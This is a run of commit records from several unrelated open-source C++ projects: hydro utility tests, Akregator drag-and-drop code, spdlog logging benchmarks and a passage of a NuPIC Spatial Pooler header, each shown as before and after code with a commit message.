2.4282508238146436e+100};\n\n for (size_t i = 0; i < parameters.names.size(); i++)\n {\n Real test_p = hydro_utilities::Calc_Pressure_Conserved(parameters.p.at(i), parameters.d.at(i), parameters.vx.at(i), parameters.vy.at(i), parameters.vz.at(i), parameters.gamma);\n\n testingUtilities::checkResults(fiducial_pressures.at(i), test_p, parameters.names.at(i));\n }\n}<commit_msg>add hydro utility function testing<commit_after>\/*!\n * \\file hyo_utilities_tests.cpp\n * \\author Robert 'Bob' Caddy (rvc@pitt.edu), Helena Richie (helenarichie@pitt.edu)\n * \\brief Tests for the contents of hydro_utilities.h and hydro_utilities.cpp\n *\n *\/\n\n\/\/ STL Includes\n#include <vector>\n#include <string>\n#include <iostream>\n\n\/\/ External Includes\n#include <gtest\/gtest.h> \/\/ Include GoogleTest and related libraries\/headers\n\n\/\/ Local Includes\n#include \"..\/utils\/testing_utilities.h\"\n#include \"..\/utils\/hydro_utilities.h\"\n#include \"..\/global\/global.h\"\n\n\/\/ =============================================================================\n\/\/ Local helper functions\n\n\/*!\n* INDEX OF VARIABLES\n* p : pressure\n* vx, vy, vz : x, y, and z velocity\n* d : density\n* E : energy\n* T : temperature\n* px, py, pz : x, y, and z momentum\n* n : number density\n*\/\n\nnamespace\n{\n struct TestParams\n {\n double gamma = 5.\/3.;\n std::vector<double> d {8.4087201154e-100, 1.6756968986e2, 5.4882403847e100};\n std::vector<double> vx {7.0378624601e-100, 7.0829278656e2, 1.8800514112e100};\n std::vector<double> vy {7.3583469014e-100, 5.9283073464e2, 5.2725717864e100};\n std::vector<double> vz {1.7182972216e-100, 8.8417748226e2, 1.5855352639e100};\n std::vector<double> px {8.2340416681e-100, 8.1019429453e2, 5.5062596954e100};\n std::vector<double> py {4.9924582299e-100, 7.1254780684e2, 6.5939640992e100};\n std::vector<double> pz {3.6703192739e-100, 7.5676716066e2, 7.2115881803e100};\n std::vector<double> E {3.0342082433e-100, 7.6976906577e2, 1.9487120853e100};\n std::vector<double> p {2.2244082909e-100, 8.6772951021e2, 6.7261085663e100};\n std::vector<std::string> names{\"Small number case\", \"Medium number case\", \"Large number case\"};\n };\n}\n\nTEST(tHYDROSYSTEMHydroUtilsCalcPressureConserved, CorrectInputExpectCorrectOutput) {\n TestParams parameters;\n std::vector<double> fiducial_ps {5, 5, 5};\n\n for (size_t i = 0; i < parameters.names.size(); i++)\n {\n Real test_ps = hydro_utilities::Calc_Pressure_Conserved(parameters.E.at(i), parameters.d.at(i), parameters.px.at(i), parameters.py.at(i), parameters.pz.at(i), parameters.gamma);\n\n testingUtilities::checkResults(fiducial_ps.at(i), test_ps, parameters.names.at(i));\n }\n}<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of Akregator.\n\n Copyright (C) 2005 Frank Osterfeld <frank.osterfeld@kdemail.net>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"dragobjects.h\"\n#include \"feed.h\"\n\n#include <q3cstring.h>\n\/\/Added by qt3to4:\n#include <QList>\n\nnamespace Akregator {\n\nclass Article;\n\nArticleDrag::ArticleDrag(const QList<Article>& articles, QWidget* dragSource, const char* name)\n: K3URLDrag(articleURLs(articles), dragSource), m_items(articlesToDragItems(articles))\n{\n setObjectName(name);\n}\n\nbool ArticleDrag::canDecode(const QMimeSource* e)\n{\n return e->provides(\"akregator\/articles\");\n}\n\nbool ArticleDrag::decode(const QMimeSource* e, QList<ArticleDragItem>& articles)\n{\n articles.clear();\n QByteArray array = e->encodedData(\"akregator\/articles\");\n \n QDataStream stream( &array,QIODevice::ReadOnly);\n stream.setVersion(QDataStream::Qt_3_1);\n\n while (!stream.atEnd())\n {\n ArticleDragItem i;\n stream >> i.feedURL;\n stream >> i.guid;\n articles.append(i);\n }\n\n return true;\n}\n\nconst char* ArticleDrag::format(int i) const\n{\n if (i == 0)\n return \"text\/uri-list\";\n else if (i == 1)\n return \"akregator\/articles\";\n\n return 0;\n}\n\nQByteArray ArticleDrag::encodedData(const char* mime) const\n{\n Q3CString mimetype(mime);\n if (mimetype == \"akregator\/articles\")\n {\n QByteArray ba;\n QDataStream stream( &ba,QIODevice::WriteOnly);\n stream.setVersion(QDataStream::Qt_3_1);\n\n QList<ArticleDragItem>::ConstIterator end = m_items.end();\n for (QList<ArticleDragItem>::ConstIterator it = m_items.begin(); it != end; ++it)\n {\n stream << (*it).feedURL;\n stream << (*it).guid;\n } \n return ba;\n }\n else\n {\n return K3URLDrag::encodedData(mime);\n }\n}\n\nQList<ArticleDragItem> ArticleDrag::articlesToDragItems(const QList<Article>& articles)\n{\n QList<ArticleDragItem> items;\n \n QList<Article>::ConstIterator end(articles.end());\n\n for (QList<Article>::ConstIterator it = articles.begin(); it != end; ++it)\n {\n ArticleDragItem i;\n i.feedURL = (*it).feed() ? (*it).feed()->xmlUrl() : \"\";\n i.guid = (*it).guid();\n items.append(i);\n }\n\n return items;\n}\n\nKURL::List ArticleDrag::articleURLs(const QList<Article>& articles)\n{\n KURL::List urls;\n QList<Article>::ConstIterator end(articles.end());\n for (QList<Article>::ConstIterator it = articles.begin(); it != end; ++it)\n urls.append((*it).link());\n return urls;\n}\n\n} \/\/ namespace Akregator\n<commit_msg>Q3CString--<commit_after>\/*\n This file is part of Akregator.\n\n Copyright (C) 2005 Frank Osterfeld <frank.osterfeld@kdemail.net>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"dragobjects.h\"\n#include \"feed.h\"\n\n#include <q3cstring.h>\n\/\/Added by qt3to4:\n#include <QList>\n\nnamespace Akregator {\n\nclass Article;\n\nArticleDrag::ArticleDrag(const QList<Article>& articles, QWidget* dragSource, const char* name)\n: K3URLDrag(articleURLs(articles), dragSource), m_items(articlesToDragItems(articles))\n{\n setObjectName(name);\n}\n\nbool ArticleDrag::canDecode(const QMimeSource* e)\n{\n return e->provides(\"akregator\/articles\");\n}\n\nbool ArticleDrag::decode(const QMimeSource* e, QList<ArticleDragItem>& articles)\n{\n articles.clear();\n QByteArray array = e->encodedData(\"akregator\/articles\");\n \n QDataStream stream( &array,QIODevice::ReadOnly);\n stream.setVersion(QDataStream::Qt_3_1);\n\n while (!stream.atEnd())\n {\n ArticleDragItem i;\n stream >> i.feedURL;\n stream >> i.guid;\n articles.append(i);\n }\n\n return true;\n}\n\nconst char* ArticleDrag::format(int i) const\n{\n if (i == 0)\n return \"text\/uri-list\";\n else if (i == 1)\n return \"akregator\/articles\";\n\n return 0;\n}\n\nQByteArray ArticleDrag::encodedData(const char* mime) const\n{\n QByteArray mimetype(mime);\n if (mimetype == \"akregator\/articles\")\n {\n QByteArray ba;\n QDataStream stream( &ba,QIODevice::WriteOnly);\n stream.setVersion(QDataStream::Qt_3_1);\n\n QList<ArticleDragItem>::ConstIterator end = m_items.end();\n for (QList<ArticleDragItem>::ConstIterator it = m_items.begin(); it != end; ++it)\n {\n stream << (*it).feedURL;\n stream << (*it).guid;\n } \n return ba;\n }\n else\n {\n return K3URLDrag::encodedData(mime);\n }\n}\n\nQList<ArticleDragItem> ArticleDrag::articlesToDragItems(const QList<Article>& articles)\n{\n QList<ArticleDragItem> items;\n \n QList<Article>::ConstIterator end(articles.end());\n\n for (QList<Article>::ConstIterator it = articles.begin(); it != end; ++it)\n {\n ArticleDragItem i;\n i.feedURL = (*it).feed() ? (*it).feed()->xmlUrl() : \"\";\n i.guid = (*it).guid();\n items.append(i);\n }\n\n return items;\n}\n\nKURL::List ArticleDrag::articleURLs(const QList<Article>& articles)\n{\n KURL::List urls;\n QList<Article>::ConstIterator end(articles.end());\n for (QList<Article>::ConstIterator it = articles.begin(); it != end; ++it)\n urls.append((*it).link());\n return urls;\n}\n\n} \/\/ namespace Akregator\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Base: Active RenderContext in Surface extraction to be able to download GL representations (closes #348)<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright(c) 2015 Gabi Melman.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\/\/\n\n\/\/\n\/\/ bench.cpp : spdlog benchmarks\n\/\/\n#include \"spdlog\/spdlog.h\"\n#include \"spdlog\/async.h\"\n#include \"spdlog\/sinks\/basic_file_sink.h\"\n#include \"spdlog\/sinks\/daily_file_sink.h\"\n#include \"spdlog\/sinks\/null_sink.h\"\n#include \"spdlog\/sinks\/rotating_file_sink.h\"\n\n#include \"utils.h\"\n#include <atomic>\n#include <cstdlib> \/\/ EXIT_FAILURE\n#include <memory>\n#include <string>\n#include <thread>\n\nusing namespace std;\nusing namespace std::chrono;\nusing namespace spdlog;\nusing namespace spdlog::sinks;\nusing namespace utils;\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log);\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count);\nvoid bench_default_api(int howmany, std::shared_ptr<spdlog::logger> log);\nvoid bench_c_string(int howmany, std::shared_ptr<spdlog::logger> log);\n\nint main(int argc, char *argv[])\n{\n\n spdlog::default_logger()->set_pattern(\"[%^%l%$] %v\");\n int howmany = 1000000;\n int queue_size = howmany + 2;\n int threads = 10;\n size_t file_size = 30 * 1024 * 1024;\n size_t rotating_files = 5;\n\n try\n {\n\n if (argc > 1)\n howmany = atoi(argv[1]);\n if (argc > 2)\n threads = atoi(argv[2]);\n if (argc > 3)\n queue_size = atoi(argv[3]);\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"Single thread, {:n} iterations\", howmany);\n spdlog::info(\"**************************************************************\");\n\n auto basic_st = spdlog::basic_logger_st(\"basic_st\", \"logs\/basic_st.log\", true);\n bench(howmany, std::move(basic_st));\n\n basic_st.reset();\n auto rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_st.log\", file_size, rotating_files);\n bench(howmany, std::move(rotating_st));\n\n auto daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_st.log\");\n bench(howmany, std::move(daily_st));\n\n bench(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"Default API. Single thread, {:n} iterations\", howmany);\n spdlog::info(\"**************************************************************\");\n\n basic_st = spdlog::basic_logger_st(\"basic_st\", \"logs\/basic_st.log\", true);\n bench_default_api(howmany, std::move(basic_st));\n\n rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_st.log\", file_size, rotating_files);\n bench_default_api(howmany, std::move(rotating_st));\n\n daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_st.log\");\n bench_default_api(howmany, std::move(daily_st));\n\n bench_default_api(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"C-string. Single thread, {:n} iterations\", howmany);\n spdlog::info(\"**************************************************************\");\n\n basic_st = spdlog::basic_logger_st(\"basic_st\", \"logs\/basic_cs.log\", true);\n bench_c_string(howmany, std::move(basic_st));\n\n rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_cs.log\", file_size, rotating_files);\n bench_c_string(howmany, std::move(rotating_st));\n\n daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_cs.log\");\n bench_c_string(howmany, std::move(daily_st));\n\n bench_c_string(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"{:n} threads sharing same logger, {:n} iterations\", threads, howmany);\n spdlog::info(\"**************************************************************\");\n\n auto basic_mt = spdlog::basic_logger_mt(\"basic_mt\", \"logs\/basic_mt.log\", true);\n bench_mt(howmany, std::move(basic_mt), threads);\n\n auto rotating_mt = spdlog::rotating_logger_mt(\"rotating_mt\", \"logs\/rotating_mt.log\", file_size, rotating_files);\n bench_mt(howmany, std::move(rotating_mt), threads);\n\n auto daily_mt = spdlog::daily_logger_mt(\"daily_mt\", \"logs\/daily_mt.log\");\n bench_mt(howmany, std::move(daily_mt), threads);\n bench_mt(howmany, spdlog::create<null_sink_mt>(\"null_mt\"), threads);\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"Asyncronous.. {:n} threads sharing same logger, {:n} iterations\", threads, howmany);\n spdlog::info(\"**************************************************************\");\n\n for (int i = 0; i < 3; ++i)\n {\n spdlog::init_thread_pool(static_cast<size_t>(queue_size), 1);\n auto as = spdlog::basic_logger_mt<spdlog::async_factory>(\"async\", \"logs\/basic_async.log\", true);\n bench_mt(howmany, std::move(as), threads);\n }\n }\n catch (std::exception &ex)\n {\n spdlog::error(ex.what());\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n using std::chrono::high_resolution_clock;\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n log->info(\"Hello logger: msg number {}\", i);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n spdlog::drop(log->name());\n}\n\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count)\n{\n using std::chrono::high_resolution_clock;\n vector<thread> threads;\n auto start = high_resolution_clock::now();\n for (int t = 0; t < thread_count; ++t)\n {\n threads.push_back(std::thread([&]() {\n for (int j = 0; j < howmany \/ thread_count; j++)\n {\n log->info(\"Hello logger: msg number {}\", j);\n }\n }));\n }\n\n for (auto &t : threads)\n {\n t.join();\n };\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n spdlog::drop(log->name());\n}\n\nvoid bench_default_api(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n using std::chrono::high_resolution_clock;\n auto orig_default = spdlog::default_logger();\n spdlog::set_default_logger(log);\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n spdlog::info(\"Hello logger: msg number {}\", i);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n spdlog::drop(log->name());\n spdlog::set_default_logger(std::move(orig_default));\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n}\n\nvoid bench_c_string(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n const char *msg = \"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum pharetra metus cursus \"\n \"lacus placerat congue. Nulla egestas, mauris a tincidunt tempus, enim lectus volutpat mi, eu consequat sem \"\n \"libero nec massa. In dapibus ipsum a diam rhoncus gravida. Etiam non dapibus eros. Donec fringilla dui sed \"\n \"augue pretium, nec scelerisque est maximus. Nullam convallis, sem nec blandit maximus, nisi turpis ornare \"\n \"nisl, sit amet volutpat neque massa eu odio. Maecenas malesuada quam ex, posuere congue nibh turpis duis.\";\n using std::chrono::high_resolution_clock;\n auto orig_default = spdlog::default_logger();\n spdlog::set_default_logger(log);\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n spdlog::log(level::info, msg);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n spdlog::drop(log->name());\n spdlog::set_default_logger(std::move(orig_default));\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n}\n<commit_msg>bench C-string title<commit_after>\/\/\n\/\/ Copyright(c) 2015 Gabi Melman.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\/\/\n\n\/\/\n\/\/ bench.cpp : spdlog benchmarks\n\/\/\n#include \"spdlog\/spdlog.h\"\n#include \"spdlog\/async.h\"\n#include \"spdlog\/sinks\/basic_file_sink.h\"\n#include \"spdlog\/sinks\/daily_file_sink.h\"\n#include \"spdlog\/sinks\/null_sink.h\"\n#include \"spdlog\/sinks\/rotating_file_sink.h\"\n\n#include \"utils.h\"\n#include <atomic>\n#include <cstdlib> \/\/ EXIT_FAILURE\n#include <memory>\n#include <string>\n#include <thread>\n\nusing namespace std;\nusing namespace std::chrono;\nusing namespace spdlog;\nusing namespace spdlog::sinks;\nusing namespace utils;\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log);\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count);\nvoid bench_default_api(int howmany, std::shared_ptr<spdlog::logger> log);\nvoid bench_c_string(int howmany, std::shared_ptr<spdlog::logger> log);\n\nint main(int argc, char *argv[])\n{\n\n spdlog::default_logger()->set_pattern(\"[%^%l%$] %v\");\n int howmany = 1000000;\n int queue_size = howmany + 2;\n int threads = 10;\n size_t file_size = 30 * 1024 * 1024;\n size_t rotating_files = 5;\n\n try\n {\n\n if (argc > 1)\n howmany = atoi(argv[1]);\n if (argc > 2)\n threads = atoi(argv[2]);\n if (argc > 3)\n queue_size = atoi(argv[3]);\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"Single thread, {:n} iterations\", howmany);\n spdlog::info(\"**************************************************************\");\n\n auto basic_st = spdlog::basic_logger_st(\"basic_st\", \"logs\/basic_st.log\", true);\n bench(howmany, std::move(basic_st));\n\n basic_st.reset();\n auto rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_st.log\", file_size, rotating_files);\n bench(howmany, std::move(rotating_st));\n\n auto daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_st.log\");\n bench(howmany, std::move(daily_st));\n\n bench(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"Default API. Single thread, {:n} iterations\", howmany);\n spdlog::info(\"**************************************************************\");\n\n basic_st = spdlog::basic_logger_st(\"basic_st\", \"logs\/basic_st.log\", true);\n bench_default_api(howmany, std::move(basic_st));\n\n rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_st.log\", file_size, rotating_files);\n bench_default_api(howmany, std::move(rotating_st));\n\n daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_st.log\");\n bench_default_api(howmany, std::move(daily_st));\n\n bench_default_api(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"C-string (500 bytes). Single thread, {:n} iterations\", howmany);\n spdlog::info(\"**************************************************************\");\n\n basic_st = spdlog::basic_logger_st(\"basic_st\", \"logs\/basic_cs.log\", true);\n bench_c_string(howmany, std::move(basic_st));\n\n rotating_st = spdlog::rotating_logger_st(\"rotating_st\", \"logs\/rotating_cs.log\", file_size, rotating_files);\n bench_c_string(howmany, std::move(rotating_st));\n\n daily_st = spdlog::daily_logger_st(\"daily_st\", \"logs\/daily_cs.log\");\n bench_c_string(howmany, std::move(daily_st));\n\n bench_c_string(howmany, spdlog::create<null_sink_st>(\"null_st\"));\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"{:n} threads sharing same logger, {:n} iterations\", threads, howmany);\n spdlog::info(\"**************************************************************\");\n\n auto basic_mt = spdlog::basic_logger_mt(\"basic_mt\", \"logs\/basic_mt.log\", true);\n bench_mt(howmany, std::move(basic_mt), threads);\n\n auto rotating_mt = spdlog::rotating_logger_mt(\"rotating_mt\", \"logs\/rotating_mt.log\", file_size, rotating_files);\n bench_mt(howmany, std::move(rotating_mt), threads);\n\n auto daily_mt = spdlog::daily_logger_mt(\"daily_mt\", \"logs\/daily_mt.log\");\n bench_mt(howmany, std::move(daily_mt), threads);\n bench_mt(howmany, spdlog::create<null_sink_mt>(\"null_mt\"), threads);\n\n spdlog::info(\"**************************************************************\");\n spdlog::info(\"Asyncronous.. {:n} threads sharing same logger, {:n} iterations\", threads, howmany);\n spdlog::info(\"**************************************************************\");\n\n for (int i = 0; i < 3; ++i)\n {\n spdlog::init_thread_pool(static_cast<size_t>(queue_size), 1);\n auto as = spdlog::basic_logger_mt<spdlog::async_factory>(\"async\", \"logs\/basic_async.log\", true);\n bench_mt(howmany, std::move(as), threads);\n }\n }\n catch (std::exception &ex)\n {\n spdlog::error(ex.what());\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\nvoid bench(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n using std::chrono::high_resolution_clock;\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n log->info(\"Hello logger: msg number {}\", i);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n spdlog::drop(log->name());\n}\n\nvoid bench_mt(int howmany, std::shared_ptr<spdlog::logger> log, int thread_count)\n{\n using std::chrono::high_resolution_clock;\n vector<thread> threads;\n auto start = high_resolution_clock::now();\n for (int t = 0; t < thread_count; ++t)\n {\n threads.push_back(std::thread([&]() {\n for (int j = 0; j < howmany \/ thread_count; j++)\n {\n log->info(\"Hello logger: msg number {}\", j);\n }\n }));\n }\n\n for (auto &t : threads)\n {\n t.join();\n };\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n spdlog::drop(log->name());\n}\n\nvoid bench_default_api(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n using std::chrono::high_resolution_clock;\n auto orig_default = spdlog::default_logger();\n spdlog::set_default_logger(log);\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n spdlog::info(\"Hello logger: msg number {}\", i);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n spdlog::drop(log->name());\n spdlog::set_default_logger(std::move(orig_default));\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n}\n\nvoid bench_c_string(int howmany, std::shared_ptr<spdlog::logger> log)\n{\n const char *msg = \"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum pharetra metus cursus \"\n \"lacus placerat congue. Nulla egestas, mauris a tincidunt tempus, enim lectus volutpat mi, eu consequat sem \"\n \"libero nec massa. In dapibus ipsum a diam rhoncus gravida. Etiam non dapibus eros. Donec fringilla dui sed \"\n \"augue pretium, nec scelerisque est maximus. Nullam convallis, sem nec blandit maximus, nisi turpis ornare \"\n \"nisl, sit amet volutpat neque massa eu odio. Maecenas malesuada quam ex, posuere congue nibh turpis duis.\";\n using std::chrono::high_resolution_clock;\n auto orig_default = spdlog::default_logger();\n spdlog::set_default_logger(log);\n auto start = high_resolution_clock::now();\n for (auto i = 0; i < howmany; ++i)\n {\n spdlog::log(level::info, msg);\n }\n\n auto delta = high_resolution_clock::now() - start;\n auto delta_d = duration_cast<duration<double>>(delta).count();\n spdlog::drop(log->name());\n spdlog::set_default_logger(std::move(orig_default));\n spdlog::info(\"{:<16} Elapsed: {:0.2f} secs {:>16n}\/sec\", log->name(), delta_d, int(howmany \/ delta_d));\n}\n<|endoftext|>"} {"text":"<commit_before>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2013, Numenta, Inc. Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Definitions for the Spatial Pooler\n *\/\n\n#ifndef NTA_spatial_pooler_HPP\n#define NTA_spatial_pooler_HPP\n\n#include <cstring>\n#include <iostream>\n#include <nta\/math\/SparseBinaryMatrix.hpp>\n#include <nta\/math\/SparseMatrix.hpp>\n#include <nta\/types\/types.hpp>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\nnamespace nta {\n namespace algorithms {\n namespace spatial_pooler {\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/ CLA spatial pooler implementation in C++.\n \/\/\/\n \/\/\/ @b Responsibility\n \/\/\/ The Spatial Pooler is responsible for creating a sparse distributed\n \/\/\/ representation of the input. It computes the set of active columns.\n \/\/\/ It maintains the state of the proximal dendrites between the columns\n \/\/\/ and the inputs bits and keeps track of the activity and overlap\n \/\/\/ duty cycles\n \/\/\/\n \/\/\/ @b Description\n \/\/\/ Todo.\n \/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n class SpatialPooler {\n public:\n SpatialPooler();\n\n ~SpatialPooler() {}\n\n virtual UInt version() const {\n return version_;\n };\n\n virtual void compute(UInt inputVector[], bool learn,\n UInt activeVector[]);\n\n virtual void save(ostream& outStream);\n virtual void load(istream& inStream);\n\n virtual UInt persistentSize();\n\n UInt getNumColumns();\n UInt getNumInputs();\n\n UInt getPotentialRadius();\n void setPotentialRadius(UInt potentialRadius);\n\n Real getPotentialPct();\n void setPotentialPct(Real potentialPct);\n\n bool getGlobalInhibition();\n void setGlobalInhibition(bool globalInhibition);\n\n Int getNumActiveColumnsPerInhArea();\n void setNumActiveColumnsPerInhArea(UInt numActiveColumnsPerInhArea);\n\n Real getLocalAreaDensity();\n void setLocalAreaDensity(Real localAreaDensity);\n\n UInt getStimulusThreshold();\n void setStimulusThreshold(UInt stimulusThreshold);\n\n UInt getInhibitionRadius();\n void setInhibitionRadius(UInt inhibitionRadius);\n\n UInt getDutyCyclePeriod();\n void setDutyCyclePeriod(UInt dutyCyclePeriod);\n\n Real getMaxBoost();\n void setMaxBoost(Real maxBoost);\n\n UInt getIterationNum();\n void setIterationNum(UInt iterationNum);\n\n UInt getIterationLearnNum();\n void setIterationLearnNum(UInt iterationLearnNum);\n\n UInt getSpVerbosity();\n void setSpVerbosity(UInt spVerbosity);\n\n UInt getUpdatePeriod();\n void setUpdatePeriod(UInt updatePeriod);\n\n Real getSynPermTrimThreshold();\n void setSynPermTrimThreshold(Real synPermTrimThreshold);\n\n Real getSynPermActiveInc();\n void setSynPermActiveInc(Real synPermActiveInc);\n\n Real getSynPermInactiveDec();\n void setSynPermInactiveDec(Real synPermInactiveDec);\n\n Real getSynPermBelowStimulusInc();\n void setSynPermBelowStimulusInc(Real synPermBelowStimulusInc);\n\n Real getSynPermConnected();\n void setSynPermConnected(Real setSynPermConnected);\n\n Real getMinPctOverlapDutyCycles();\n void setMinPctOverlapDutyCycles(Real minPctOverlapDutyCycles);\n\n Real getMinPctActiveDutyCycles();\n void setMinPctActiveDutyCycles(Real minPctActiveDutyCycles);\n\n void getBoostFactors(Real boostFactors[]);\n void setBoostFactors(Real boostFactors[]);\n\n void getOverlapDutyCycles(Real overlapDutyCycles[]);\n void setOverlapDutyCycles(Real overlapDutyCycles[]);\n\n void getActiveDutyCycles(Real activeDutyCycles[]);\n void setActiveDutyCycles(Real activeDutyCycles[]);\n\n void getMinOverlapDutyCycles(Real minOverlapDutyCycles[]);\n void setMinOverlapDutyCycles(Real minOverlapDutyCycles[]);\n\n void getMinActiveDutyCycles(Real minActiveDutyCycles[]);\n void setMinActiveDutyCycles(Real minActiveDutyCycles[]);\n\n void getPotential(UInt column, UInt potential[]);\n void setPotential(UInt column, UInt potential[]);\n\n void getPermanence(UInt column, Real permanence[]);\n void setPermanence(UInt column, Real permanence[]);\n\n void getConnectedSynapses(UInt column, UInt connectedSynapses[]);\n\n void getConnectedCounts(UInt 